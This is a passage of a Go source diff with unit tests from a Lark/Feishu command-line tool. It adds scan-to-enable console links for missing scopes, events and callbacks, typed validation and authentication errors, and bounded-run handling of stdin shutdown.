// consoleEventSubscriptionURL points at the app's event subscription console page.
|
||||
func consoleEventSubscriptionURL(brand core.LarkBrand, appID string) string {
|
||||
host := core.ResolveEndpoints(brand).Open
|
||||
return fmt.Sprintf("%s/app/%s/event", host, appID)
|
||||
type AddonsScopes struct {
|
||||
Tenant []string `json:"tenant"`
|
||||
User []string `json:"user"`
|
||||
}
|
||||
|
||||
type AddonsEvents struct {
|
||||
Items AddonsEventItems `json:"items"`
|
||||
}
|
||||
|
||||
type AddonsEventItems struct {
|
||||
Tenant []string `json:"tenant"`
|
||||
User []string `json:"user"`
|
||||
}
|
||||
|
||||
type AddonsCallbacks struct {
|
||||
Items []string `json:"items"`
|
||||
}
|
||||
|
||||
// encodeAddons: JSON -> gzip -> base64url(no padding). Matches the front-end decode chain.
|
||||
func encodeAddons(a ManifestAddons) (string, error) {
|
||||
raw, err := json.Marshal(a)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
var buf bytes.Buffer
|
||||
gw := gzip.NewWriter(&buf)
|
||||
if _, err := gw.Write(raw); err != nil {
|
||||
return "", err
|
||||
}
|
||||
if err := gw.Close(); err != nil {
|
||||
return "", err
|
||||
}
|
||||
return base64.RawURLEncoding.EncodeToString(buf.Bytes()), nil
|
||||
}
|
||||
|
||||
// consoleAddonsURL builds the scan-to-enable deep link carrying incremental scopes/events/callbacks.
|
||||
func consoleAddonsURL(brand core.LarkBrand, appID string, a ManifestAddons) (string, error) {
|
||||
encoded, err := encodeAddons(a)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
host := core.ResolveEndpoints(brand).Open
|
||||
return fmt.Sprintf("%s%s?%s=%s&addons=%s", host, addonsLandingPath, addonsClientIDParam, appID, encoded), nil
|
||||
}
|
||||
|
||||
// consoleLandingURL is the bare landing page (no addons) — fallback when encoding fails.
|
||||
func consoleLandingURL(brand core.LarkBrand, appID string) string {
|
||||
host := core.ResolveEndpoints(brand).Open
|
||||
return fmt.Sprintf("%s%s?%s=%s", host, addonsLandingPath, addonsClientIDParam, appID)
|
||||
}
|
||||
|
||||
// addonsHintURL returns the scan URL, degrading to the bare landing page on encode error.
|
||||
func addonsHintURL(brand core.LarkBrand, appID string, a ManifestAddons) string {
|
||||
url, err := consoleAddonsURL(brand, appID, a)
|
||||
if err != nil {
|
||||
return consoleLandingURL(brand, appID)
|
||||
}
|
||||
return url
|
||||
}
|
||||
|
||||
// missingScopeAddons routes missing scopes into the identity-appropriate section.
|
||||
// The unused side is an empty (non-nil) slice so JSON encodes [] not null —
|
||||
// the addons spec treats a missing tenant/user as an empty array.
|
||||
func missingScopeAddons(identity core.Identity, missing []string) ManifestAddons {
|
||||
s := &AddonsScopes{Tenant: []string{}, User: []string{}}
|
||||
if identity.IsBot() {
|
||||
s.Tenant = missing
|
||||
} else {
|
||||
s.User = missing
|
||||
}
|
||||
return ManifestAddons{Scopes: s}
|
||||
}
|
||||
|
||||
// missingSubscriptionAddons routes missing events/callbacks into the right section.
|
||||
// Like missingScopeAddons, unused event sides stay [] (not null) per the addons spec.
|
||||
func missingSubscriptionAddons(subType eventlib.SubscriptionType, identity core.Identity, missing []string) ManifestAddons {
|
||||
if subType == eventlib.SubTypeCallback {
|
||||
return ManifestAddons{Callbacks: &AddonsCallbacks{Items: missing}}
|
||||
}
|
||||
ev := &AddonsEvents{Items: AddonsEventItems{Tenant: []string{}, User: []string{}}}
|
||||
if identity.IsBot() {
|
||||
ev.Items.Tenant = missing
|
||||
} else {
|
||||
ev.Items.User = missing
|
||||
}
|
||||
return ManifestAddons{Events: ev}
|
||||
}
|
||||
|
||||
@@ -4,33 +4,109 @@
|
||||
package event
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/gzip"
|
||||
"encoding/base64"
|
||||
"encoding/json"
|
||||
"io"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/internal/core"
|
||||
eventlib "github.com/larksuite/cli/internal/event"
|
||||
)
|
||||
|
||||
func TestConsoleScopeGrantURL_Feishu(t *testing.T) {
|
||||
got := consoleScopeGrantURL(core.BrandFeishu, "cli_XXXXXXXXXXXXXXXX", []string{
|
||||
"im:message:readonly",
|
||||
"im:message.group_at_msg",
|
||||
})
|
||||
want := "https://open.feishu.cn/app/cli_XXXXXXXXXXXXXXXX/auth?q=im:message:readonly,im:message.group_at_msg&op_from=openapi&token_type=tenant"
|
||||
if got != want {
|
||||
t.Errorf("url\n got: %s\nwant: %s", got, want)
|
||||
func decodeAddons(t *testing.T, encoded string) ManifestAddons {
|
||||
t.Helper()
|
||||
gz, err := base64.RawURLEncoding.DecodeString(encoded)
|
||||
if err != nil {
|
||||
t.Fatalf("base64url decode: %v", err)
|
||||
}
|
||||
zr, err := gzip.NewReader(bytes.NewReader(gz))
|
||||
if err != nil {
|
||||
t.Fatalf("gzip reader: %v", err)
|
||||
}
|
||||
raw, err := io.ReadAll(zr)
|
||||
if err != nil {
|
||||
t.Fatalf("gunzip: %v", err)
|
||||
}
|
||||
var a ManifestAddons
|
||||
if err := json.Unmarshal(raw, &a); err != nil {
|
||||
t.Fatalf("json: %v", err)
|
||||
}
|
||||
return a
|
||||
}
|
||||
|
||||
func TestEncodeAddons_RoundTrip(t *testing.T) {
|
||||
in := ManifestAddons{Scopes: &AddonsScopes{Tenant: []string{"im:message"}}}
|
||||
encoded, err := encodeAddons(in)
|
||||
if err != nil {
|
||||
t.Fatalf("encode: %v", err)
|
||||
}
|
||||
for _, r := range encoded {
|
||||
if !(r == '-' || r == '_' || (r >= '0' && r <= '9') || (r >= 'A' && r <= 'Z') || (r >= 'a' && r <= 'z')) {
|
||||
t.Fatalf("encoded contains non-base64url char %q in %q", r, encoded)
|
||||
}
|
||||
}
|
||||
out := decodeAddons(t, encoded)
|
||||
if out.Scopes == nil || len(out.Scopes.Tenant) != 1 || out.Scopes.Tenant[0] != "im:message" {
|
||||
t.Errorf("roundtrip mismatch: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsoleScopeGrantURL_LarkBrand(t *testing.T) {
|
||||
got := consoleScopeGrantURL(core.BrandLark, "cli_x", []string{"im:message"})
|
||||
want := "https://open.larksuite.com/app/cli_x/auth?q=im:message&op_from=openapi&token_type=tenant"
|
||||
if got != want {
|
||||
t.Errorf("url\n got: %s\nwant: %s", got, want)
|
||||
func TestConsoleAddonsURL_FormatAndBrandHost(t *testing.T) {
|
||||
url, err := consoleAddonsURL(core.BrandFeishu, "cli_x", ManifestAddons{Callbacks: &AddonsCallbacks{Items: []string{"card.action.trigger"}}})
|
||||
if err != nil {
|
||||
t.Fatalf("url: %v", err)
|
||||
}
|
||||
host := core.ResolveEndpoints(core.BrandFeishu).Open
|
||||
prefix := host + "/page/launcher?clientID=cli_x&addons="
|
||||
if !strings.HasPrefix(url, prefix) {
|
||||
t.Errorf("url = %q, want prefix %q", url, prefix)
|
||||
}
|
||||
out := decodeAddons(t, strings.TrimPrefix(url, prefix))
|
||||
if out.Callbacks == nil || len(out.Callbacks.Items) != 1 || out.Callbacks.Items[0] != "card.action.trigger" {
|
||||
t.Errorf("decoded callbacks mismatch: %+v", out)
|
||||
}
|
||||
}
|
||||
|
||||
func TestConsoleScopeGrantURL_EmptyBrandDefaultsFeishu(t *testing.T) {
|
||||
got := consoleScopeGrantURL("", "cli_x", []string{"im:message"})
|
||||
if got != "https://open.feishu.cn/app/cli_x/auth?q=im:message&op_from=openapi&token_type=tenant" {
|
||||
t.Errorf("unexpected url: %s", got)
|
||||
func TestMissingScopeAddons_ByIdentity(t *testing.T) {
|
||||
bot := missingScopeAddons(core.AsBot, []string{"im:message"})
|
||||
if bot.Scopes == nil || len(bot.Scopes.Tenant) != 1 || len(bot.Scopes.User) != 0 {
|
||||
t.Errorf("bot scopes = %+v, want tenant-only", bot.Scopes)
|
||||
}
|
||||
user := missingScopeAddons(core.AsUser, []string{"im:message"})
|
||||
if user.Scopes == nil || len(user.Scopes.User) != 1 || len(user.Scopes.Tenant) != 0 {
|
||||
t.Errorf("user scopes = %+v, want user-only", user.Scopes)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMissingSubscriptionAddons_EventVsCallback(t *testing.T) {
|
||||
ev := missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"})
|
||||
if ev.Events == nil || len(ev.Events.Items.Tenant) != 1 {
|
||||
t.Errorf("event addons = %+v, want events.items.tenant", ev.Events)
|
||||
}
|
||||
cb := missingSubscriptionAddons(eventlib.SubTypeCallback, core.AsBot, []string{"card.action.trigger"})
|
||||
if cb.Callbacks == nil || len(cb.Callbacks.Items) != 1 || cb.Events != nil {
|
||||
t.Errorf("callback addons = %+v, want callbacks.items only", cb)
|
||||
}
|
||||
}
|
||||
|
||||
func TestMissingAddons_EncodeEmptyArraysNotNull(t *testing.T) {
|
||||
// Unused identity sides must encode as [] (not null) so the launcher page's
|
||||
// shape validation treats them as "缺省 -> 空数组" per the addons spec.
|
||||
cases := []ManifestAddons{
|
||||
missingScopeAddons(core.AsBot, []string{"im:message"}),
|
||||
missingScopeAddons(core.AsUser, []string{"im:message"}),
|
||||
missingSubscriptionAddons(eventlib.SubTypeEvent, core.AsBot, []string{"im.message.receive_v1"}),
|
||||
}
|
||||
for i, a := range cases {
|
||||
raw, err := json.Marshal(a)
|
||||
if err != nil {
|
||||
t.Fatalf("case %d marshal: %v", i, err)
|
||||
}
|
||||
if bytes.Contains(raw, []byte("null")) {
|
||||
t.Errorf("case %d encodes a null array, want []: %s", i, raw)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -16,6 +16,7 @@ import (
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/appmeta"
|
||||
"github.com/larksuite/cli/internal/auth"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
@@ -64,8 +65,8 @@ Use 'event schema <EventKey>' for parameter details.`,
|
||||
cmd.Flags().StringVar(&o.jqExpr, "jq", "", "JQ expression to filter output")
|
||||
cmd.Flags().BoolVar(&o.quiet, "quiet", false, "Suppress informational messages on stderr")
|
||||
cmd.Flags().StringVar(&o.outputDir, "output-dir", "", "Write each event as a file in this directory (relative paths only; absolute paths and ~ are rejected to prevent path traversal)")
|
||||
cmd.Flags().IntVar(&o.maxEvents, "max-events", 0, "Exit after N successful emits (0 = unlimited). Multi-worker EventKeys may emit up to workers-1 past N before all workers stop.")
|
||||
cmd.Flags().DurationVar(&o.timeout, "timeout", 0, "Exit after DURATION (e.g. 30s, 2m). 0 = no timeout. Timeout is a normal exit (code 0; stderr 'reason: timeout').")
|
||||
cmd.Flags().IntVar(&o.maxEvents, "max-events", 0, "Exit after N successful emits (0 = unlimited). Multi-worker EventKeys may emit up to workers-1 past N before all workers stop. Bounded runs ignore stdin EOF.")
|
||||
cmd.Flags().DurationVar(&o.timeout, "timeout", 0, "Exit after DURATION (e.g. 30s, 2m). 0 = no timeout. Timeout is a normal exit (code 0; stderr 'reason: timeout'). Bounded runs ignore stdin EOF.")
|
||||
cmd.Flags().String("as", "auto", "identity type: user | bot | auto (must match EventKey's declared AuthTypes)")
|
||||
_ = cmd.RegisterFlagCompletionFunc("as", func(cmd *cobra.Command, args []string, toComplete string) ([]string, cobra.ShellCompDirective) {
|
||||
return []string{"user", "bot", "auto"}, cobra.ShellCompDirectiveNoFileComp
|
||||
@@ -101,11 +102,10 @@ func runConsume(cmd *cobra.Command, f *cmdutil.Factory, eventKey string, o consu
|
||||
|
||||
if o.jqExpr != "" {
|
||||
if err := output.ValidateJqExpression(o.jqExpr); err != nil {
|
||||
return output.ErrWithHint(
|
||||
output.ExitValidation, "validation",
|
||||
err.Error(),
|
||||
fmt.Sprintf("see `lark-cli event consume --help` EXAMPLES for common patterns, or `lark-cli event schema %s` for valid field paths", eventKey),
|
||||
)
|
||||
return errs.NewValidationError(errs.SubtypeInvalidArgument, "%s", err).
|
||||
WithParam("--jq").
|
||||
WithCause(err).
|
||||
WithHint("see `lark-cli event consume --help` EXAMPLES for common patterns, or `lark-cli event schema %s` for valid field paths", eventKey)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -146,14 +146,28 @@ func runConsume(cmd *cobra.Command, f *cmdutil.Factory, eventKey string, o consu
|
||||
fmt.Fprintln(preflightErrOut, "[event] skipped console precheck: app has no published version")
|
||||
}
|
||||
|
||||
// Callback subscriptions live in application/get, not app_versions; fetch the
|
||||
// callback 底账 only for callback-type EventKeys. Weak dependency: on error,
|
||||
// leave subscribedCallbacks nil so the callback precheck skips.
|
||||
var subscribedCallbacks []string
|
||||
if keyDef.SubscriptionType == eventlib.SubTypeCallback {
|
||||
cbs, cbErr := appmeta.FetchSubscribedCallbacks(cmd.Context(), botRuntime, cfg.AppID)
|
||||
if cbErr != nil {
|
||||
fmt.Fprintf(preflightErrOut, "[event] skipped console precheck: %s\n", describeAppMetaErr(cbErr))
|
||||
} else {
|
||||
subscribedCallbacks = cbs
|
||||
}
|
||||
}
|
||||
|
||||
pf := &preflightCtx{
|
||||
factory: f,
|
||||
appID: cfg.AppID,
|
||||
brand: cfg.Brand,
|
||||
eventKey: eventKey,
|
||||
identity: identity,
|
||||
keyDef: keyDef,
|
||||
appVer: appVer,
|
||||
factory: f,
|
||||
appID: cfg.AppID,
|
||||
brand: cfg.Brand,
|
||||
eventKey: eventKey,
|
||||
identity: identity,
|
||||
keyDef: keyDef,
|
||||
appVer: appVer,
|
||||
subscribedCallbacks: subscribedCallbacks,
|
||||
}
|
||||
if err := preflightEventTypes(pf); err != nil {
|
||||
return err
|
||||
@@ -184,8 +198,9 @@ func runConsume(cmd *cobra.Command, f *cmdutil.Factory, eventKey string, o consu
|
||||
errOut = io.Discard
|
||||
}
|
||||
|
||||
// Non-TTY only: stdin EOF is shutdown for subprocess callers; in TTY Ctrl-D must not exit.
|
||||
if !f.IOStreams.IsTerminal {
|
||||
// Non-TTY unbounded consumers use stdin EOF as shutdown for subprocess callers.
|
||||
// Bounded runs already have --max-events/--timeout as their lifecycle control.
|
||||
if shouldWatchStdinEOF(f.IOStreams.IsTerminal, o.maxEvents, o.timeout) {
|
||||
watchStdinEOF(os.Stdin, cancel, errOut)
|
||||
}
|
||||
|
||||
@@ -228,6 +243,9 @@ type preflightCtx struct {
|
||||
identity core.Identity
|
||||
keyDef *eventlib.KeyDefinition
|
||||
appVer *appmeta.AppVersion
|
||||
// subscribedCallbacks is the application/get 底账 for callback-type EventKeys;
|
||||
// nil means "not fetched / unavailable" → callback precheck skips (weak dependency).
|
||||
subscribedCallbacks []string
|
||||
}
|
||||
|
||||
// preflightScopes compares required scopes against session-available scopes (user: UAT stored; bot: appVer.TenantScopes).
|
||||
@@ -260,63 +278,87 @@ func preflightScopes(ctx context.Context, pf *preflightCtx) error {
|
||||
if len(missing) == 0 {
|
||||
return nil
|
||||
}
|
||||
return output.ErrWithHint(
|
||||
output.ExitAuth, "auth",
|
||||
fmt.Sprintf("missing required scopes for EventKey %s (as %s): %s",
|
||||
pf.eventKey, pf.identity, strings.Join(missing, ", ")),
|
||||
scopeRemediationHint(pf.identity, missing, pf.appID, pf.brand),
|
||||
)
|
||||
return errs.NewPermissionError(errs.SubtypeMissingScope,
|
||||
"missing required scopes for EventKey %s (as %s): %s",
|
||||
pf.eventKey, pf.identity, strings.Join(missing, ", ")).
|
||||
WithIdentity(string(pf.identity)).
|
||||
WithMissingScopes(missing...).
|
||||
WithHint("%s", scopeRemediationHint(pf.brand, pf.appID, pf.identity, missing))
|
||||
}
|
||||
|
||||
// scopeRemediationHint returns an identity-appropriate fix for missing scopes.
|
||||
func scopeRemediationHint(identity core.Identity, missing []string, appID string, brand core.LarkBrand) string {
|
||||
// Bot: the scan-to-enable link adds the scopes to the app manifest, after which
|
||||
// the tenant token carries them. User: the scan link only updates the app
|
||||
// manifest — the user's own token still lacks the scopes until it is
|
||||
// re-authorized — so direct the user to re-login instead.
|
||||
func scopeRemediationHint(brand core.LarkBrand, appID string, identity core.Identity, missing []string) string {
|
||||
if identity.IsBot() {
|
||||
return fmt.Sprintf(
|
||||
"grant these scopes and publish a new app version at: %s",
|
||||
consoleScopeGrantURL(brand, appID, missing),
|
||||
)
|
||||
return fmt.Sprintf("grant these scopes by scanning: %s",
|
||||
addonsHintURL(brand, appID, missingScopeAddons(identity, missing)))
|
||||
}
|
||||
return fmt.Sprintf(
|
||||
"run `lark-cli auth login --scope \"%s\"` in the background. It blocks and outputs a verification URL — retrieve the URL and open it in a browser to complete login.",
|
||||
strings.Join(missing, " "),
|
||||
)
|
||||
strings.Join(missing, " "))
|
||||
}
|
||||
|
||||
// preflightEventTypes verifies every RequiredConsoleEvents entry is subscribed in the app's current published version.
|
||||
// preflightEventTypes verifies every RequiredConsoleEvents entry is subscribed
|
||||
// in the app's console 底账 — published app_versions for event subscriptions,
|
||||
// application/get subscribed_callbacks for callback subscriptions.
|
||||
func preflightEventTypes(pf *preflightCtx) error {
|
||||
if pf.appVer == nil || len(pf.keyDef.RequiredConsoleEvents) == 0 {
|
||||
if len(pf.keyDef.RequiredConsoleEvents) == 0 {
|
||||
return nil
|
||||
}
|
||||
subscribed := make(map[string]bool, len(pf.appVer.EventTypes))
|
||||
for _, t := range pf.appVer.EventTypes {
|
||||
subscribed[t] = true
|
||||
|
||||
var subscribed []string
|
||||
noun := "event types"
|
||||
if pf.keyDef.SubscriptionType == eventlib.SubTypeCallback {
|
||||
if pf.subscribedCallbacks == nil {
|
||||
return nil
|
||||
}
|
||||
subscribed = pf.subscribedCallbacks
|
||||
noun = "callbacks"
|
||||
} else {
|
||||
if pf.appVer == nil {
|
||||
return nil
|
||||
}
|
||||
subscribed = pf.appVer.EventTypes
|
||||
}
|
||||
|
||||
have := make(map[string]bool, len(subscribed))
|
||||
for _, t := range subscribed {
|
||||
have[t] = true
|
||||
}
|
||||
var missing []string
|
||||
for _, t := range pf.keyDef.RequiredConsoleEvents {
|
||||
if !subscribed[t] {
|
||||
if !have[t] {
|
||||
missing = append(missing, t)
|
||||
}
|
||||
}
|
||||
if len(missing) == 0 {
|
||||
return nil
|
||||
}
|
||||
return output.ErrWithHint(
|
||||
output.ExitValidation, "validation",
|
||||
fmt.Sprintf("EventKey %s requires event types not subscribed in console: %s",
|
||||
pf.keyDef.Key, strings.Join(missing, ", ")),
|
||||
fmt.Sprintf("subscribe these events and publish a new app version at: %s",
|
||||
consoleEventSubscriptionURL(pf.brand, pf.appID)),
|
||||
)
|
||||
|
||||
url := addonsHintURL(pf.brand, pf.appID, missingSubscriptionAddons(pf.keyDef.SubscriptionType, pf.identity, missing))
|
||||
return errs.NewValidationError(errs.SubtypeFailedPrecondition,
|
||||
"EventKey %s requires %s not subscribed in console: %s",
|
||||
pf.keyDef.Key, noun, strings.Join(missing, ", ")).
|
||||
WithHint("subscribe these %s by scanning: %s", noun, url)
|
||||
}
|
||||
|
||||
// sanitizeOutputDir rejects absolute/parent-escaping paths and ~ (SafeOutputPath treats it as a literal dir name).
|
||||
func sanitizeOutputDir(dir string) (string, error) {
|
||||
if strings.HasPrefix(dir, "~") {
|
||||
return "", output.ErrValidation("%s; use a relative path like ./output instead", errOutputDirTilde)
|
||||
return "", errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"%s; use a relative path like ./output instead", errOutputDirTilde).
|
||||
WithParam("--output-dir").
|
||||
WithCause(errOutputDirTilde)
|
||||
}
|
||||
safe, err := validate.SafeOutputPath(dir)
|
||||
if err != nil {
|
||||
return "", output.ErrValidation("%s %q: %s", errOutputDirUnsafe, dir, err)
|
||||
return "", errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"%s %q: %s", errOutputDirUnsafe, dir, err).
|
||||
WithParam("--output-dir").
|
||||
WithCause(errOutputDirUnsafe)
|
||||
}
|
||||
return safe, nil
|
||||
}
|
||||
@@ -328,22 +370,25 @@ func resolveTenantToken(ctx context.Context, f *cmdutil.Factory, appID string) (
|
||||
}
|
||||
result, err := f.Credential.ResolveToken(ctx, credential.NewTokenSpec(core.AsBot, appID))
|
||||
if err != nil {
|
||||
return "", output.ErrAuth("resolve tenant access token: %s", err)
|
||||
if _, ok := errs.ProblemOf(err); ok {
|
||||
return "", err
|
||||
}
|
||||
return "", errs.NewAuthenticationError(errs.SubtypeTokenMissing,
|
||||
"resolve tenant access token: %s", err).WithCause(err)
|
||||
}
|
||||
if result == nil || result.Token == "" {
|
||||
return "", output.ErrWithHint(
|
||||
output.ExitAuth, "auth",
|
||||
fmt.Sprintf("no tenant access token available for app %s", appID),
|
||||
"Check that app_secret is configured (lark-cli config show) and try 'lark-cli auth login'.",
|
||||
)
|
||||
return "", errs.NewAuthenticationError(errs.SubtypeTokenMissing,
|
||||
"no tenant access token available for app %s", appID).
|
||||
WithHint("Check that app_secret is configured (lark-cli config show) and try 'lark-cli auth login'.")
|
||||
}
|
||||
return result.Token, nil
|
||||
}
|
||||
|
||||
// Sentinels for errors.Is checks; call sites wrap them as typed ValidationError causes.
|
||||
var (
|
||||
errInvalidParamFormat = errors.New("invalid --param format")
|
||||
errOutputDirTilde = errors.New("--output-dir does not support ~ expansion")
|
||||
errOutputDirUnsafe = errors.New("unsafe --output-dir")
|
||||
errInvalidParamFormat = errors.New("invalid --param format") //nolint:forbidigo // sentinel, typed at call sites
|
||||
errOutputDirTilde = errors.New("--output-dir does not support ~ expansion") //nolint:forbidigo // sentinel, typed at call sites
|
||||
errOutputDirUnsafe = errors.New("unsafe --output-dir") //nolint:forbidigo // sentinel, typed at call sites
|
||||
)
|
||||
|
||||
func parseParams(raw []string) (map[string]string, error) {
|
||||
@@ -351,7 +396,10 @@ func parseParams(raw []string) (map[string]string, error) {
|
||||
for _, kv := range raw {
|
||||
k, v, ok := strings.Cut(kv, "=")
|
||||
if !ok || k == "" {
|
||||
return nil, output.ErrValidation("%s %q: expected key=value", errInvalidParamFormat, kv)
|
||||
return nil, errs.NewValidationError(errs.SubtypeInvalidArgument,
|
||||
"%s %q: expected key=value", errInvalidParamFormat, kv).
|
||||
WithParam("--param").
|
||||
WithCause(errInvalidParamFormat)
|
||||
}
|
||||
m[k] = v
|
||||
}
|
||||
@@ -370,3 +418,8 @@ func watchStdinEOF(r io.Reader, cancel context.CancelFunc, errOut io.Writer) {
|
||||
cancel()
|
||||
}()
|
||||
}
|
||||
|
||||
// shouldWatchStdinEOF gates the stdin-EOF shutdown watcher: non-TTY unbounded runs only (<= 0 mirrors downstream's >0-is-bounded semantics, so negative bounds stay unbounded).
|
||||
func shouldWatchStdinEOF(isTerminal bool, maxEvents int, timeout time.Duration) bool {
|
||||
return !isTerminal && maxEvents <= 0 && timeout <= 0
|
||||
}
|
||||
|
||||
@@ -61,3 +61,70 @@ func TestWatchStdinEOF_DiagnosticMessage(t *testing.T) {
|
||||
t.Fatal("watchStdinEOF did not cancel within 1s of EOF")
|
||||
}
|
||||
}
|
||||
|
||||
func TestShouldWatchStdinEOF(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
isTerminal bool
|
||||
maxEvents int
|
||||
timeout time.Duration
|
||||
want bool
|
||||
}{
|
||||
{
|
||||
name: "terminal",
|
||||
isTerminal: true,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "non terminal unbounded",
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "non terminal negative max events is unbounded",
|
||||
maxEvents: -1,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "non terminal negative timeout is unbounded",
|
||||
timeout: -1 * time.Second,
|
||||
want: true,
|
||||
},
|
||||
{
|
||||
name: "non terminal max events bounded",
|
||||
maxEvents: 1,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "non terminal timeout bounded",
|
||||
timeout: 10 * time.Minute,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "non terminal both bounds positive",
|
||||
maxEvents: 1,
|
||||
timeout: 10 * time.Minute,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "non terminal bounded max events with negative timeout",
|
||||
maxEvents: 1,
|
||||
timeout: -1 * time.Second,
|
||||
want: false,
|
||||
},
|
||||
{
|
||||
name: "non terminal bounded timeout with negative max events",
|
||||
maxEvents: -1,
|
||||
timeout: 10 * time.Minute,
|
||||
want: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
got := shouldWatchStdinEOF(tt.isTerminal, tt.maxEvents, tt.timeout)
|
||||
if got != tt.want {
|
||||
t.Fatalf("shouldWatchStdinEOF() = %v, want %v", got, tt.want)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,9 +4,14 @@
|
||||
package event
|
||||
|
||||
import (
|
||||
"context"
|
||||
"errors"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/cmdutil"
|
||||
"github.com/larksuite/cli/internal/credential"
|
||||
)
|
||||
|
||||
func TestParseParams(t *testing.T) {
|
||||
@@ -73,6 +78,7 @@ func TestParseParams(t *testing.T) {
|
||||
if tc.wantEcho != "" && !strings.Contains(err.Error(), tc.wantEcho) {
|
||||
t.Errorf("err %q should echo %q so user sees the bad input", err.Error(), tc.wantEcho)
|
||||
}
|
||||
assertInvalidArgumentParam(t, err, "--param")
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
@@ -90,6 +96,77 @@ func TestParseParams(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
// emptyTokenResolver resolves to a result that carries no token.
|
||||
type emptyTokenResolver struct{}
|
||||
|
||||
func (emptyTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
|
||||
return &credential.TokenResult{}, nil
|
||||
}
|
||||
|
||||
// failingTokenResolver fails outright with an untyped error.
|
||||
type failingTokenResolver struct{}
|
||||
|
||||
func (failingTokenResolver) ResolveToken(_ context.Context, _ credential.TokenSpec) (*credential.TokenResult, error) {
|
||||
return nil, errors.New("backend unavailable")
|
||||
}
|
||||
|
||||
func factoryWithResolver(r credential.DefaultTokenResolver) *cmdutil.Factory {
|
||||
return &cmdutil.Factory{Credential: credential.NewCredentialProvider(nil, nil, r, nil)}
|
||||
}
|
||||
|
||||
func TestResolveTenantToken_EmptyTokenResult(t *testing.T) {
|
||||
_, err := resolveTenantToken(context.Background(), factoryWithResolver(emptyTokenResolver{}), "cli_x")
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryAuthentication || p.Subtype != errs.SubtypeTokenMissing {
|
||||
t.Errorf("problem = %s/%s, want %s/%s", p.Category, p.Subtype,
|
||||
errs.CategoryAuthentication, errs.SubtypeTokenMissing)
|
||||
}
|
||||
var malformed *credential.MalformedTokenResultError
|
||||
if !errors.As(err, &malformed) {
|
||||
t.Error("empty-token failure should preserve the credential-layer cause")
|
||||
}
|
||||
}
|
||||
|
||||
func TestResolveTenantToken_ResolverFailure(t *testing.T) {
|
||||
_, err := resolveTenantToken(context.Background(), factoryWithResolver(failingTokenResolver{}), "cli_x")
|
||||
if err == nil {
|
||||
t.Fatal("expected error, got nil")
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed errs error, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryAuthentication || p.Subtype != errs.SubtypeTokenMissing {
|
||||
t.Errorf("problem = %s/%s, want %s/%s", p.Category, p.Subtype,
|
||||
errs.CategoryAuthentication, errs.SubtypeTokenMissing)
|
||||
}
|
||||
if errors.Unwrap(err) == nil {
|
||||
t.Error("resolver failure should preserve its cause")
|
||||
}
|
||||
}
|
||||
|
||||
// assertInvalidArgumentParam verifies err is a typed validation error with
|
||||
// subtype invalid_argument naming the given flag in its param field.
|
||||
func assertInvalidArgumentParam(t *testing.T, err error, param string) {
|
||||
t.Helper()
|
||||
var ve *errs.ValidationError
|
||||
if !errors.As(err, &ve) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
|
||||
}
|
||||
if ve.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Errorf("subtype = %s, want %s", ve.Subtype, errs.SubtypeInvalidArgument)
|
||||
}
|
||||
if ve.Param != param {
|
||||
t.Errorf("param = %q, want %q", ve.Param, param)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSanitizeOutputDir(t *testing.T) {
|
||||
cases := []struct {
|
||||
name string
|
||||
@@ -130,6 +207,7 @@ func TestSanitizeOutputDir(t *testing.T) {
|
||||
if !errors.Is(err, tc.wantSentry) {
|
||||
t.Fatalf("want errors.Is(err, %v), got %q", tc.wantSentry, err.Error())
|
||||
}
|
||||
assertInvalidArgumentParam(t, err, "--output-dir")
|
||||
return
|
||||
}
|
||||
if err != nil {
|
||||
|
||||
@@ -143,6 +143,79 @@ func TestWriteStatusText_CoversAllStates(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestWriteStatusText_ShowsSubColumn(t *testing.T) {
|
||||
var buf bytes.Buffer
|
||||
writeStatusText(&buf, []appStatus{
|
||||
{
|
||||
AppID: "cli_RUNNINGXXXXXXXXX",
|
||||
State: stateRunning,
|
||||
PID: 1234,
|
||||
UptimeSec: 60,
|
||||
Active: 2,
|
||||
Consumers: []protocol.ConsumerInfo{
|
||||
{PID: 1001, EventKey: "mail.x", SubscriptionID: "mail.x:alice", Received: 5, Dropped: 0},
